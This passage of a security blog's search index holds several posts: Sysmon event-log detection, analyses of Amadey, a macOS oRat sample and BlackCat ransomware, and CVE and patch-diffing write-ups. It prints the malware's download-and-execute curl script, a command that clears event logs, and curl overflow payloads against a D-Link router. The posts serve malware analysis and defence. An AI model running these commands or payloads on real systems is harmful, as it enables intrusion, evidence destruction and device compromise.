TimeCreated Office Phishing One of the most used ways of phishing is using office documents to launch another hidden payload, So I will monitor for any process spawned by Word or Excel other office documents in the same way. Get-SysmonEvents 1 | Where-Object { $_.Properties[20].Value -match \"word|Excel\" } | Format-List TimeCreated, @{label = \"ParentImage\" ; Expression = {$_.properties[20].value}}, @{label= \"Image\" ; Expression= {$_.properties[4].value}} Service Manipulation One way to detect Manipulating services using the command line is monitoring for the use of Sc.exe executable. Here is a small script to do that Get-SysmonEvents 1 | Where-Object { $_.Properties[4].Value -match \"\\\\sc.exe\" } | Format-List TimeCreated, @{label = \"ParentImage\" ; Expression = {$_.properties[20].value}}, @{label= \"Image\" ; Expression= {$_.properties[4].value}},@{label = \"CommandLine\" ; Expression = {$_.properties[10].value}} For other persistence techniques I have another PowerShell script to collect a lot more persistence artifacts from live machine here. Conclusion Here I was discussing understanding how to deal with EventLogs and automating your own functions to detect some attacks, as itâs a huge number of techniques I decided just to talk about the foundation you need to continue by yourself. Resources âOSDAâ Course ","categories": ["Forensic investigation"], 142 "tags": [], 143 "url": "/forensic%20investigation/EventLog_Analysis/", 144 "teaser": "/assets/images/forensic-investigation/EventLog_Analysis/logstructure.png" 145 },{ 146 "title": "Amadey Malware Analysis", 147 "excerpt":"Sample Info I decided to look at Amadey Sample as a result of seeing it very active these days So I picked up a sample from Malware bazzar SHA256 : 06b1023ac65f1ee535c45bd46e93551822df8f9dcd64389a9e5388dd532c6b29 with a small look at the sample It Seems to be compiled with the Flat Assembler and only has a .text section. Just by the first look, I realized that an old friend is here SmokeLoader Downloader is the first stage for downloading Amadey. So I decided to discu
147ss some of the Anti-Analysis used by this stage, as I know SmokeLoader is rich with a lot of Anti-* techniques, and also I wonât repeat myself as I will take another approach in my analysis and try to use IDA-Scripting as I could. First Stage At the start we will be welcomed with an anti-disassembly technique manipulating conditions If You have a good look you will see that there are two instructions âJZâ & âJNZâ which are the opposite means the condition will always be true these make it hard for the disassembler or decompiler to understand the code. So I decided to write a simple Python plugin that will make it a direct jump. import idc address = 0 while True: address = min(idc.find_binary(address, idc.SEARCH_NEXT | idc.SEARCH_DOWN, \"74 ? 75 ?\"), idc.find_binary(address, idc.SEARCH_NEXT | idc.SEARCH_DOWN, \"75 ? 74 ?\")) if address == idc.BADADDR: break idc.patch_byte(address, 0xEB) # JMP idc.patch_byte(address+2, 0x90) # NOP idc.patch_byte(address+3, 0x90) The code starts then by getting the address of the PEB Structure to perform some operation that will check implicitly for the BeingDebugged flag. It may seem silly but I wonât flip it manually I will write a script for that ^-^. import idc rv = ida_dbg.get_reg_val(\"EAX\") beingdebugged = idaapi.get_byte(rv+2) print(hex(rv)) print(hex(beingdebugged)) idc.patch_byte(rv+2, 0x00) beingdebugged = idaapi.get_byte(rv+2) print(hex(beingdebugged)) Another anti-debugging technique is NTGlobalFlag So as mentioned in the technique description we need to change the value of the offset â0x68â to â0x00â if it was â0x70â. As I said I am practicing more in IDA-Scripting so I will write a small ida script to do that. import idc rv = ida_dbg.get_reg_val(\"EAX\") NtGlobalFlag = idaapi.get_byte(rv+0x68) print(hex(rv)) print(hex(NtGlobalFlag)) idc.patch_byte(rv+0x68, 0x00) NtGlobalFlag = idaapi.get_byte(rv+0x68) print(hex(NtGlobalFlag)) the code then is decrypted and only encrypted before calling it and the malware decrypts it back, the encryption is a simple XOR operation to an offset stored in âEAXâ and size stored in âECXâ with a key stored in âEDXâ As before I decided to simulate the process of decrypting any code using IDA-Scripting import idc def xor_chunk(offset, size, key): address = 0x400000 + offset for i in range(size): byte = ord(idc.get_bytes(address+i, 1)) byte ^= key idc.patch_byte(address+i, byte) offset = ida_dbg.get_reg_val(\"EAX\") size = ida_dbg.get_reg_val(\"ECX\") key = ida_dbg.get_reg_val(\"EDX\") xor_chunk(offset, size, key) and the code will get decrypted. As you can see here the code tries to resolve loaded libraries from the LDR Structure in the PEB You can find the rest of the analysis for the SmokeLoader Downloader in a previous blog for me here Amadey Behavioural Analysis SHA256:6e01f9d1997186d06274a508bc0a511aa6fb50e430b77efca593c00d3fc62cba As I said earlier my goal from this analysis is not to make a professional report, I am looking to sharpen my abilities and share my methodologies with other analysts, So I will go with another approach this time that I donât see many analysts use. I will start investigating the behavior of the malware to extract as much info about how it works then I will move to My Disassembler to go more deeply. Starting with the API-Monitor tool which has a lot of features in tracing API calls and execution, I will run the sample and just take a look at the system state related to the malware. This app is extremely helpful and a lot of people are wasting this power by not using it, by applying write filters to reduce the noise we can easily trace all API calls made to the kernel, here is a small example of our malware. Here is a write call and all the parameters and the content that is written itself are there as you can see the content is an MZ executable and we can trace back the handle to see the creation of the handle where we write the content. we can see that our malware is writing another executable in the TEMP directory. I will let you imagine what can you do with such a tool and I will change my focus to another feature on it which is tracing the system state. we can see the execution of the written process and the creation of a scheduled task and the execution of other programs. Another better approach I wanted to discu
147ss is using Windows EventLogs to provide more insights into the malware capabilities to gain more from the behavioral analysis state. I am using Sysmon which is not installed by default in Windows you can install it from here along with This configuration file and thatâs it, let us see what we can do with it. You can use Event Viewer to investigate the logs but I prefer Powershell as it gives me more control, let us run the sample and take a look at the results. Using this filter we can get the command line for each process created in the system from a specific time. Get-WinEvent -FilterHashtable @{Logname = \"Microsoft-Windows-Sysmon/Operational\" ; ID = 1 ; StartTime = \"7/31/2023 1:24:25\"} | Format-List @{label = \"CommandLine\" ; Expression = {$_.properties[10].value}} here are our malware-related ones. here we can see persistence via startup folders and scheduled task creation. thatâs not new you are right, we found them before, what about looking for the file created by the malware all in one place? Get-WinEvent -FilterHashtable @{Logname = \"Microsoft-Windows-Sysmon/Operational\" ; ID = 11 ; StartTime = \"7/31/2023 1:24:25\"} |Format-List @{label = \"createdFile\" ; Expression = {$_.properties[5].value}},@{ label = \"Image\" ; Expression = {$_.properties[4].value}} Here we can see the second malware written to the disk and another dll written multiple times from the dropped malware, when I checked this path I didnât find the dll there so I thought that it might be dropped and deleted after finishing its work. Not just that there is also more and more, Check this out. Get-WinEvent -FilterHashtable @{Logname = \"Microsoft-Windows-Sysmon/Operational\" ; ID = 22 ; StartTime = \"7/31/2023 1:24:25\"} | Where-Object {$_.properties[7].Value -match \"orxds\"} | Format-List @{label = \"DNS Requested Domain\" ; Expression = {$_.properties[4].value}},@{ label = \"Image\" ; Expression = {$_.properties[7].value}} and BOOM we got our c2 Addresses Another approach is specific for detecting persistence, using a PowerShell tool that I wrote you can find it here, the idea here is running the tool before and after running the malware and then comparing the two results which will leave only the new files and the technique used to persist. Code Analysis & Capabilities So until now, we have a general understanding that the first stage is just writing the second stage to the temp directory and the second stage does all the work we also know the persistence technique that the malware uses and also some C2 servers addresses, letâs confirm our findings and try to find more with code analysis. As we can see the code checks if the file exists and it will delete it if it exists and write a new one, and the new one is a copy of the first sample. The file is the same but at the first stage, it stops execution if it managed to open the file for a read operation and if it managed to do that means the file is not running as you canât do that with a running process in windows, now we will launch the copied file to continue our code analysis. Another good approach a friend of mine mentioned to me is using Procmon to help in code analysis, here is the idea, instead of running the malware as a whole and monitoring it, why not execute a single function and check what itâs doing to the system?!. We can see that the function enumerated the registry for the username so letâs check the code. and itâs really doing that, but itâs also creating a mutex if it doesnât exist and if the mutex exists means the malware already running in another process the malware will kill itself. the next function is for executing cmd command for persistence through the registry that we caught before. and the next one is for executing cmd command for Creating the scheduled task we caught before also. And the last function executes different threads inside the malware for different purposes Now we can start talking about some of the main malware capabilities, at the start the malware can take a screenshot of the device. collect system information the malware has the ability to do self-injection by creating a suspended thread inside itself and resuming it after setting the ThreadContext the malware also has the RAT functionality as the attacker can run arbitrary commands from the c2. also, the ability to drop other files into the machine. Resources IDA-Scripting CheatSheet EventLogs Analysis ","categories": ["Malware Analysis"], 148 "tags": [], 149 "url": "/malware%20analysis/Amadey/", 150 "teaser": "/assets/images/malware-analysis/Amadey/api.png" 151 },{ 152 "title": "Mac OS Malware Analysis", 153 "excerpt":"Overview I started months ago to look for different OSs malware than Windows to expand my knowledge and cover more attack vectors, at the start it was hard to determine a starting point and connect the dots in my mind and construct a good road map so I decided to kick off from what I know in windows and compare it with what is there in Mac, until I found another approach, after some time I landed on an amazing blog Objective See which talks only about mac malware, and the author also has a book called The Art Of Mac Malware these were great resources for me in the road. It was really hard to find something that takes me to a good point where I could continue myself without reading this book which is about 300 pages and full of old information that I already know as I am not new to the field, So I decided to collect all the new stuff I learned in my journey in one place as I wished to find when I started. MAC Environment I am working on macOS Catalina 10.15.7 You can download a Mac Iso file from here. Mac OS is built on top of Linux Kernel which means mostly everything related to kernel work is the same as Linux like integrity levels and kernel Apis and even the man pages and the terminal commands are the same. So all the attack vectors related to scripts bash or whatever can be found here I wonât speak here about that as this is not specific to Mac as itâs a Linux thing. MAC Software Security Protections In my opinion from my work so far with MAC and other OSs, apple is really making security more important than the functionality itself as any application even the system applications like Terminal canât do anything in the system before it manually gets assigned the privileges to do so in the Security&Privecy section in the System Preferences, I found that this a really annoying for the regular user. from the perspective of running any file in the OS, the file needs to pass two checking mechanisms. GateKeeper GateKeeper is a feature that prevents any application from running if the app wasnât signed with a valid developer id. Application notarization notarization is somehow like the process of submitting the app to review for any malicious functionality and if passed you will get a notarized version. These are very bad places for a threat actor to invest time writing malware I know, but also there is still a chance for deploying malware through exploiting a vulnerability or the user being fooled and turned all this protection off to use the device slightly more smoothly and other ways which always can be found with time and effort. Executable Packaging before talking about the executable itself I
153want to talk about how it got packaged when it first get into the device, there are multiple ways. Note: Mac doesn't handle the file by its extension like Windows which means Extensions have no meaning. Apple Disk Images (.dmg) Apple Disk Images (.dmg) is a popular way to distribute software to Mac users, you can mount them to extract their content using the command Packages (.pkg) Another common file format that attackers often abuse to distribute Mac malware is the ubiquitous macOS package, you can extract the package content without executing it using the command. application bundle Applications are the most known package to Mac users as it works by only double-clicking it. It has a specific hierarchy that it follows to store its configuration, code signature, resources, and other needed data, as behind the scenes the application is just a folder structured in a specific way and referred to as an âapplication bundleâ the structure is as follows(all this file should be there): ⢠Contents/: A directory that contains all files and subdirectories of the application bundle. ⢠Contents/_CodeSignature: If the application is signed, contains code-signing information about the application (like hashes). ⢠Contents/MacOS: A directory that contains the applicationâs binary, which is what executes when the user double-clicks the application icon in the user interface. ⢠Contents/Resources: A directory that contains user interface elements of the application, such as images, and documents ⢠Contents/Info.plist: The applicationâs main configuration file. Apple notes that macOS uses this file to ascertain pertinent information about the application (such as the location of the applicationâs main binary). the most important ones are Content/Info.plist which contains the configurations and Content/MacOS content which contains the executable itself. Mash-o Executable binary format the main file format for the executable in Mac OS is Mash-o, you can read about the structure of this file format here but as with every other executables formats, there is a parser out there to parse their content and extract static information from them. you can parse Mach-o file structures using the otool command line utility, code signing using codesign, and notarization and other checks using spctl. Persistence The first goal âmostlyâ for every malware after execution is persistence so what are the places where the malware can persist in Mac OS?! As Mac OS is built on top of the Linux kernel as said before, a lot of persistence technique presented in Linux is also presented in Mac OS. for a comprehensive list of persistence techniques used in Mac OS, you can visit MITRE ATT&CK Malware analysis tools You can find a lot of malware analysis tools for all the stages of malware analysis static, behavioral, and debugging here and
153you can download a free version of the famous Hopper disassembler for Mac from here General malware analysis approach (oRat sample) I wonât go so detailed in analyzing the malware itself but I will demonstrate how the malware analysis process is going in Mac malware. this is the link to download the sample. the malware comes packaged in a .pkg form so as discussed earlier we can use the command line utility pkgutil In the pkg content, we can find another pkg âFlash-playerâ which contains the PackageInfo file and Scripts folder. If we opened the PackageInfo file which contains installing information we can find that the preinstaller Script will run before the installation. And that is the script that will be run. #!/bin/bash cd /tmp; curl -sL https://d.github.wiki/mac/darwinx64 -O; chmod +x darwinx64; ./darwinx64; So this is just downloading a file from the internet, giving it execute permission, and running it. After downloading the file I found that the file is a Mash-o executable. These are the very basic static analysis results that we mentioned that show the file supports one architicure (x86_64) file is not signed at all file is not accepted to run on the system. we mentioned before that all this can be bypassed, Itâs somehow hard but possible. Let us continue our analysis and get more interesting info about the file. by running strings against the file we will notice this famous line. After unpacking the file we can extract more informations like the library used by the file. another tool which will be worth running is nm tool which resolves the symbols in the file which may give you more understanding of the file functionality. for debugging and code analysis, you can use IDA and Remote debug feature ","categories": ["Malware Analysis"], 154 "tags": [], 155 "url": "/malware%20analysis/MacOsX-Malware-Analysis/", 156 "teaser": "/assets/images/malware-analysis/MacOsX_Malware_Analysis/base.png" 157 },{ 158 "title": "BlackCat Ransomware Analysis", 159 "excerpt":" Sample Overview We are Presented with the following sample: md5: FF8A7DD8B1CB0420DD18810041D172A7 SHA256: ecea6b772742758a2240898ef772ca11aa9d870aec711cffab8994c23044117c SHA1: cc166bc3eaa024aac4a2cdc02174ae87fcf47e28 Itâs an x86 Windows Portable executable, and the strings contain many references to Cargo which is a package manager for Rust language which indicates the executable is written with Rust. There is also a long string which may be the Configuration used by the sample. Another notable string is cmd.exe /c for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\" which is a command to clear event logs. Behavioral Analysis running the malware didnât cause any action to happen which may be for two reasons, The first one is that it may be performing some anti-analysis checks that detected the analysis workstation or it needs a command line argument. the second assumption was the right one when finding a USAGE: string in the strings of the sample, trying to run it with -h and I got a usage message in the command line. It becomes clear that the malware requires an access token to operate, but actually, any supplied input after the --access-token parameter will work. The ransomware did work and encrypted the machine. But let us investigate what happened. My analysis machine is monitored by Sysmon so using a simple PowerShell script I can review a lot, like: Spawned processes Get-WinEvent -FilterHashtable @{Logname = \"Microsoft-Windows-Sysmon/Operational\" ; ID = 1 ; StartTime = \"8/29/2023 11:15:50\"} | Where-Object {$_.properties[20].Value -match \"sample1\"} | Format-List @{label = \"CommandLine\" ; Expression = {$_.properties[10].value}} we can see it doing the following: deleting Event logs (didnât work because of an error in the syntax). deleting volume shadow copies. Increase the number of outstanding requests allowed. enables the evaluation of symbolic links from remote to local machine and to remote also. retrieve the Universally Unique Identifier (UUID) of the computerâs system product. arp table lookup. stops IIS. Propagation Method Get-WinEvent -FilterHashtable @{Logname = \"Microsoft-Windows-Sysmon/Operational\" ; ID = 3 ; StartTime = \"8/29/2023 11:15:50\"} | Where-Object {$_.properties[4].Value -match \"sample1\"} | Format-List @{label = \"destination ip\" ; Expression = {$_.properties[14].value}} we can see that the malware is trying to connect over port 137(netbios-ns) to all the machines in my local network, maybe as an infection method, We will look closely in the code analysis section. then dropping the note and background and other stuff. Code Analysis Itâs noticeable that the sample doesnât resolve many APIs dynamically and uses the imported functions so I edited an Ida script to help clean the mess generated by the rust compiler and logging mechanism by breaking all the important imported functions. import id
159aapi import idautils def imp_cb(ea, name, ord): if not name: print (\"%08x: ord#%d\" % (ea, ord)) for ref in idautils.XrefsTo(ea): print(hex(ref.frm)) ida_dbg.add_bpt(ref.frm, 1, ida_idd.BPT_DEFAULT) else: print (\"%08x: %s (ord#%d)\" % (ea, name, ord)) for ref in idautils.XrefsTo(ea): print(hex(ref.frm)) ida_dbg.add_bpt(ref.frm, 1, ida_idd.BPT_DEFAULT) return True nimps = idaapi.get_import_module_qty() print (\"Found %d import(s)...\" % nimps) for i in range(0, nimps): name = idaapi.get_import_module_name(i) if not name: print (\"Failed to get import module name for #%d\" % i) continue if name == \"KERNEL32\" or name == \"ADVAPI32\" or name == \"WS2_32\": print (\"Walking-> %s\" % name) idaapi.enum_import_names(i, imp_cb) print (\"Execution finished...\") The code starts by registering a custom handler to 0x0C00000FD STATUS_STACK_OVERFLOW exception. Then enumerating the registry key SOFTWARE\\Microsoft\\Cryptography to get the MAchineGuid value. the malware always tries to locate cmd.exe in the same directory of the malware but when not found it will execute it from the system32 directory. the malware then opens a handle to a null device. Then create a named pipe with a name generated randomly using a BCryptGenRandom API, which is used in Inter Process Communications to receive the output of any executed command. In the rest of the functionalities, the malware creates different threads to do all the work. The malware starts Its real work after checking the command line arguments supplied with privilege escalation. Privilege escalation the malware first checks the privileges that it runs with to know whether it needs a privilege escalation or not using different methods. checking the RID. checking the process token. for privilege escalation, it uses COM object with CLSID:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} which is the auto-elevated CMSTPLUA interface that will launch a new process with the same arguments but in elevated permissions. Propagation the malware then creates a socket to enumerate the surrounding devices which is obtained from executing an âarp -aâ command. Processes Spawning After elevation, we can see the malware executes the previously mentioned command line processes in the behavioral analysis section. Service Kill The malware looks for the services mentioned in the configuration and kills them using ControlService with 1 as a control signal which indicates to close the service. Processes Kill The same happens for processes like services, the malware gets the running processes using CreateToolhelp32Snapshot and enumerates for the processes mentioned in the configurations using Process32FirstW and Process32NextW APIs, then terminates them using TerminateProcess The malware adds a small sleep in all the enumeration to be quieter. Drive Enumeration the malware starts to enumerate all possible drive letters âA-Zâ to process all available ones. Then enumerating all volumes using FindFirstVolumeW and FindNextVolumeW File Encryption The malware takes the following steps in the process of encrypting files: Enumerate all the files and directories (Ransome note dropped in each directory). Test the file opened against the roles in the configurations (if the configurations prevent encrypting it, the handle will be closed) otherwise it will be added to the encryption queue. Rename the encrypted file adding the extension mentioned in the configurations. Encrypts data using a randomly generated AES Key stored encrypted using the public key in configurations in each encrypted file. The encrypted content then is written back to the file. A note needed to be added here is that the encryption implementation in the sample is so complex compared to other ransomwares out there, although a lot of its code is not reachable in this sample may be due to configuration constraints, there is a reference to `ChaCha20Aes` encryption which is faster and more complex than normal AES encryption, also the sample seems to implement different modes to encrypt large files to make the process of encryption faster. Arguments Other parameters are self-explained in the usage message, the most essential one is the --access-token which will cause the malware to run. Yara rule rule BlackCat : Ransomware { meta: description = \"Detection Rule for BlackCat Ransomware\" email = \"[email protected]\" author = \"Amr Ashraf\" str
159ings: $mz = {4D 5A} // MZ header $string1 = \"enable_self_propagation\" ascii $string2 = \"enable_esxi_vm_snapshot_kill\" ascii $string3 = \"RECOVER-${EXTENSION}-FILES.txt\" ascii $string4 = \"win7_plus=true\" ascii $string5 = \"\\\\.\\\\pipe\\\\__rust_anonymous_pipe1__.\" ascii $string6 = \"MaxMpxCt /d 65535\" ascii $string7 = \"Speed: Mb/s, Data: Mb/Mb, Files processed: /, Files scanned:\" ascii condition: ($mz at 0) and (4 of ($string*)) } Configuration Extractor import sys import json import binascii if __name__ == \"__main__\": if len(sys.argv) != 2: print(\"Usage: python BlackCat_config_Extractor.py BlackCat_Sample\") else: try: file_path = sys.argv[1] with open(file_path, 'rb') as file: content = file.read() offset = content.find(binascii.unhexlify(b\"7B22636F6E6669675F696422\")) if offset == -1: print(\"\\nunable to find configuration offset\\n\\n\") sys.exit(1) cfg = content[offset: offset+8000].strip() config = json.loads(cfg.decode('utf-8')) print(config) except Exception as e: print(f\"Error: {e}\") sys.exit(1) IOC SHA256 : ecea6b772742758a2240898ef772ca11aa9d870aec711cffab8994c23044117c MITRE ATT&CK T1007 â System Service Discovery T1047 - Windows Management Instrumentation T1057 - Process Discovery T1059 â Command and Scripting Interpreter T1082 â System Information Discovery T1135 - Network Share Discovery T1140 â Encode/Decode Files or Information T1485 â Data Destruction T1486 â Data Encrypted For Impact T1490 â Inhibit System Recovery T1543.003 â Create or Modify System Process T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control T1559 - Inter-Process Communication T1202 â Indirect Command Execution ","categories": ["Malware Analysis"], 160 "tags": [], 161 "url": "/malware%20analysis/BlackCat/", 162 "teaser": "/assets/images/malware-analysis/BlackCat/background.png" 163 },{ 164 "title": "CVE-2023-38146 Analysis", 165 "excerpt":"overview CVE-2023-38146 is an Arbitrary Code Execution via Windows Themes which is a file format responsible for customization of the OS appearance. the .theme file is just a file containing configuration for the customization of the OS appearance. Environment Setup this vulnerability only started with Windows 11 specifically in uxtheme.dll, So we can get a vulnerable version of the DLL from C:\\Windows\\WinSxS where an old version of Dll can be found there after the update. the update was on 12-9-2023 so we need to grab one before that date. placing the component needs in the same place to make our vulnerable DLL come first in the search order and now our vulnerable DLL gets used. analysis Double-clicking in the .theme file will result in executing the following command. \"C:\\WINDOWS\\system32\\rundll32.exe\" C:\\WINDOWS\\system32\\themecpl.dll,OpenThemeAction <theme file path> firing up ida in a vulnerable system and looking around the code, found that there is an extension other than .theme handled there. looking inside the â.themeâ file there is a reference to .msstyles file format but actually, itâs a DLL file. this Dll gets loaded as data in the address space of the process then a resource inside it gets checked. if the version in the resource is equal to â999â ReviseVersionIfNecessary gets called which is the vulnerable function. let us check what is happening inside. append _vrf.dll to the end of the msstyles file. opens it check its signature close the file load the DLL call verifyThemeVersion inside it. you may have noticed what could go wrong here, there is an obvious race condition after the time of signature verification because if the place where the DLL resides is an attacker-controlled âSMB Serverâ the DLL can be replaced between the time of the check and the time of load. ","categories": ["vulnerability research"], 166 "tags": [], 167 "url": "/vulnerability%20%20research/CVE-2023-38146/", 168 "teaser": "/assets/images/vulnerability_research/CVE-2023-38146/command.png" 169 },{ 170 "title": "Patch Diffing In Depth", 171 "excerpt":"Overview This blog post is not about the vulnerability, Itâs about how to rediscover a privately disclosed Windows vulnerability by going from knowing only the vulnerability Descryption, CVE, and Patch Date. This is all that we get. Get different Windows Patches The process of getting different versions of Windows files is pretty easy, we have two ways. If you know exactly what files you need you can simply search it in this site(x86_64). But actually, itâs not often to know what the actual vulnerable component or piece of software is, because the disclosure has no hints for that, so we are getting to the next way which requires a little bit of work. microsoft update catalog is a huge database containing all the patches you need, so letâs investigate what we can do in our example. we are looking â12/9/2023â patch and the patch before it, so we can construct a good search query to get this like 2023-09 x64 \"windows 10\" Note: Be sure that you pick one suitable for your build. you can read here about different types of updates but we will use cumulative one. And then do the same with the previous month. Extract Patches The .msu files consist of multi-layer CAP files before reaching the one that has the needed patches, you can use the following command with the big one that doesnât have the prefix âSSUâ (you will know why if you read the resource mentioned before for windows update types). expand.exe -F:* \"msu/cap\" \"target folder\" The process can take some time depending on your computerâs performance. Define Targets after done I launched the command âdiff -qr 2023-08/patch/ 2023-09/pat
171ch/ grep tcpâ to diff all the files in the two directories and filter the result to tcpip related stuff. Note: This can take a really long time just let it run. Here are our results there are three notices here: Executables donât get modified, they get compiled from the start so there is another version of the âtcpip.sysâ driver that has some changes in a totally new folder. ânetionhlp.dllâ also had some changes. âtdx.sysâ was also replaced with another one with some changes. For now, we have three targets that we will test to find our vulnerability. Apply Delta these new folders for âtcpip.sysâ for example donât have the actual version of the file as you may expect they have two folders one called ârâ which stands for reverse delta and the other called âfâ stands for âForward deltaâ. the reverse delta is used to restore any version of the file to its original first build where we can apply the forward delta to get it back to the needed version. This means we still have some work to do, I picked up a version of âtcpip.sysâ from âWinSxSâ and applied those deltas for them, I am using a tool called delta_patch.py to do that. python.exe .\\delta_patch.py -i .\\tcpip.sys -o .\\vuln_binary\\tcpip_old.sys .\\vuln_binary\\r\\tcpip.sys .\\patched_binary\\f\\tcpip.sys Do that for both of them. Note: If this error out then you need to be sure that the downloaded updates are for your build. Binary Diffing Now we have our first target with old and new versions so letâs Diff them using BinDiff. And we finally can find the small changes made to these two files. we can see some lines of assembly added to âIpv6pReassembleDatagramâ function. and also some changes in another function. Conclusion This post is not about binary exploitation so I wonât get into details of where exactly the vulnerability is, that will be for another blog post, but here we managed to put our hands on the vulnerable code using patch diffing and parsing different update packages for Windows. ","categories": ["vulnerability research"], 172 "tags": [], 173 "url": "/vulnerability%20%20research/Patch_Diffing/", 174 "teaser": "/assets/images/vulnerability_research/Patch_Diffing/bin.png" 175 },{ 176 "title": "Dlink router CVEs", 177 "excerpt":"Summery A Deep dive into CVE-2023-43241 CVE-2023-43235 which are a stack overflow in D-Link DIR-823G v1.0.2B05 router firmware, going to discuss extracting and emulating firmware and root cause analysis. Description CVE: CVE-2023-43241 , CVE-2023-43235 Title: stack overflows in âD-Link DIR-823G v1.0.2B05â router firmware Platform / Vendor: Dlink/ router Summary: D-Link DIR-823G v1.0.2B05 was discovered to contain a stack overflow via parameter TXPower and GuardInt in SetWLanRadioSecurity, StartTime and EndTime in SetWifiDownSettings. Background story The firmware is an operating system customized for an embedded device just with the capabilities that the device needs, this is to minimize size and raise the performance and you can imagine what else can be an advantage of this customization, in a lot of cases the firmware is based on Linux kernel, this kernel is customized and but inside the device chip, to get this firmware we have to options⦠Use any communication port on the chip to extract the firmware. The firmware is publicly accessible on the internet. and to run it we have also two options⦠Use any communication port on the chip to get a shell on the device Emulate the firmware in an Emulation Application Most firmware is compiled to run on MIPS architecture which canât run directly on our x86 architecture, also Vmware and virtualbox canât used for that as they canât translate architecture-specific OPcode to another one, the most famous emulator that can do that is qemu which is translating machine code from architicure to another. Environment Setup There is a Linux distro called Attify OS which is made specifically for firmware and hardware hacking It contains most of the tools we will need to be installed and configured, definitely you can install only the tools only you need for analyzing this vulnerability but this way will save you a lot of time troubleshooting. Our firmware is publically available on âDlinkâ site here just download the version mentioned on the advisory and copy it to your investigation area. Then go to Firmware-analysis-toolkit folder and run the following command⦠./fat.py \"your firmware image\" This will result in extracting the firmware, giving you an Image ID (we will need it later), and creating a network interface(this is your Router IP remember it). Now just by pressing enter the emulated hardware will start booting up, just give it a minute to finish the boot process and navigate to the IP address mentioned before. based on your preferred language use Google Translate for that, press skip, and log in with blank credentials. Now our Emulator is working perfectly fine, we need then to extract the file system to get the code and start looking for our vulnerability. Go to âhome/iot/tools/firmware-analysis-toolkit/firmadyne/scriptsâ and execute the script âmount.pyâ as root passing the Image ID mentioned before as a parameter. Then navigate to â/home/iot/tools/firmware-analysis-toolkit/firmadyne/scratch/1/imageâ and you are inside your firmwareâs filesystem. root cause analysis CVE-2023-43241 The advisory description mentioned that the overflow is in TXPower and GuardInt parameters so we can search across the web interface files where they exist. we can see that this parameter gets assigned in âAdvwireless.htmlâ page as part of the âsettingâ object, then set to âSetWLanRadioSett
177ingsâ SOAP action and sent to âhttp://purenetworks.com/HNAP1/â end point. Attify OS had burpsuit setup so we can open it, configure the browser to proxy traffic throw it, and intercept the traffic out of âAdvwireless.htmlâ page. Then this request gets handled by âgoaheadâ binary but how the request is handled is the cause of the problem. It gets the data inside âTXPowerâ which is attacker-controlled then calculates its size which means itâs also attacker-controlled then copies in a fixed size buffer whatever size of data the attacker supplies so we can overflow the buffer and corrupt the memory. also for âGuardIntâ. CVE-2023-43235 The same concept exactly applies to the StartTime and EndTime parameters. Reproducing the vulnerability CVE-2023-43235 ################### video here ####################### we can see that we can overwrite the return address âraâ CVE-2023-43241 POC CVE-2023-43235 curl http://192.168.0.1/HNAP1/ -H 'SOAPAction: \"http://192.168.0.1/HNAP1/SetWLanRadioSecurity\"' -d '<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><SetWLanRadioSecurity xmlns=\"http://192.168.0.1/HNAP1/\"><SetMultipleActions><SetWLanRadioSecurity><RadioID>1</RadioID><Radio>1</Radio><TXPower>######A100#####</TXPower><SSID>1</SSID><SSIDBroadcast>1</SSIDBroadcast><ChannelWidth>1</ChannelWidth><Key>1</Key><GuardInt>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaa</GuardInt></SetWLanRadioSecurity></SetMultipleActions></SetWLanRadioSecurity></soap:Body></soap:Envelope>' CVE-2023-43241 curl \"http://192.168.0.1/HNAP1/\" -H 'SOAPAction: \"http://purenetworks.com/HNAP1/SetWifiDownSettings\"' -H \"Cookie: timeout=132\" -d '<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><SetWifiDownSettings xmlns=\"http://purenetworks.com/HNAP1/\"><ControlMode>true</ControlMode><ControlRule><Enable>true</Enable><StartTime>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaa</StartTime><EndTime>23:59:00</EndTime><Week>Mon,Wed</Week></ControlRule></SetWifiDownSettings></soap:Body></soap:Envelope>' References https://nvd.nist.gov/vuln/detail/CVE-2023-43241 https://nvd.nist.gov/vuln/detail/CVE-2023-43235 ","categories": ["vulnerability research"], 178 "tags": [], 179 "url": "/vulnerability%20%20research/CVE-2023-43241/", 180 "teaser": "/assets/images/vulnerability_research/CVE-2023-43241/crash.png" 181 },{ 182 "title": "Linux Forensics In Depth",
